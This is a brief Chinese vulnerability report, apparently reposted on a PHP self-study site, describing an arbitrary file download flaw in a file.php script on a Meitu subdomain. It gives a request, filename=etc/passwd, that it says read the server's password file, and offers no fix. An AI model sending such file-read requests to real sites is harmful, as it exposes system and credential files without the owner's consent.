美图某分站任意文件下载 - 网站安全 - 自学php

查询子域名发现

http://sina.moban.meitu.com/linjunjie/01/

发现这个 下载 图片，是用file. PHP 下载的

 

 

 

 

试试看，能不能下载etc/PASSWD，成功了

http://sina.moban.meitu.com/file.php?filename=etc/passwd

 

修复方案：

不会

查看更多关于美图某分站任意文件下载 - 网站安全 - 自学php的详细内容...